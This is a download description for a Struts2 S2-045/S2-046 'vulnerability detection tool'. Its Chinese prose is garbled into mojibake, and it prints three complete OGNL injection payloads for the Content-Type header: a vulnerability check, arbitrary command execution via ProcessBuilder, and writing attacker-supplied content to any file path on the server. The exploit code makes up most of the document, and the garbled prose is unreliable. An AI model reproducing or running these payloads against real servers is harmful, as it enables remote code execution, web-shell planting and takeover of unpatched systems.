struts2©¶´¼ì²â¹¤¾ßÊÇ¿î·Ç³£ÓÅÐãµÄϵͳ©¶´¼ì²â¹¤¾ß¡£struts2©¶´¼ì²â¹¤¾ßÄܹ»°ïÖúÓû§¼ì²âÍøÂ硢ϵͳ¡¢Óʼþ¡¢·þÎñÆ÷µÄ©¶´£¬°ïÖúÓû§½µµÍºÍ»º½â©¶´ÓпÉÄÜÔì³ÉµÄÍþвºÍËðʧ£¬¶ÔÒÔ̽²âµÄ©¶´½øÐÐÐÞ¸´£¬ÓÐЧ·ÀÖ¹ºÚ¿Í¹¥»÷¡£

struts2©¶´¼ì²â¹¤¾ß¼ò½é£º

2017°æÔö¼ÓS2-046£¬¹Ù·½·¢²¼S2-046ºÍS2-045©¶´Òý·¢Ô­ÒòÒ»Ñù£¬Ö»ÊÇÀûÓ鶴µÄλÖ÷¢ÉúÁ˱仯£¬S2-046·½Ê½¿ÉÄÜÈƹý²¿·ÖWAF·À»¤£¬´æÔÚS2-045¾Í´æÔÚS2-046¡£µ±Struts2¿ªÆôdevModeģʽʱ£¬½«µ¼ÖÂÑÏÖØÔ¶³Ì´úÂëÖ´ÐЩ¶´¡£Èç¹ûWebServiceÆô¶¯È¨ÏÞΪ×î¸ßȨÏÞʱ£¬¿ÉÔ¶³ÌÖ´ÐÐÈÎÒâÃüÁ°üÀ¨¹Ø»ú¡¢½¨Á¢ÐÂÓû§¡¢ÒÔ¼°É¾³ý·þÎñÆ÷ÉÏËùÓÐÎļþµÈµÈ¡£

struts2©¶´¼ì²â¹¤¾ß¹¦ÄܽéÉÜ£º

1¡¢Ñé֤©¶´£¬ÐÞ¸ÄContent-Type£¬·µ»ØÄÚÈÝΪ¡°webpath¡±´ú±í´æÔÚ©¶´¡£

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).

(#res=@org.apache.struts2.ServletActionContext@getResponse()).

(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).

(#res.getWriter().print('path')).(#res.getWriter().flush()).(#res.getWriter().close())}

2¡¢Ö´ÐÐÃüÁî

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).

(#res=@org.apache.struts2.ServletActionContext@getResponse()).

(#res.setContentType('text/html;charset=UTF-8')).(#s=new java.util.Scanner((new

java.lang.ProcessBuilder('[cmd]'.toString().split('s'))).start().getInputStream()).useDelimiter('AAAA')).

(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).

(#res.getWriter().close()).(#s.close())}

3¡¢ÉÏ´«Îļþ£º

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).

(#res=@org.apache.struts2.ServletActionContext@getResponse()).

(#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new

java.io.FileWriter([path])).append(#req.getHeader('test')).close()).(#res.getWriter().print('oko')).

(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).

(#res.getWriter().close())}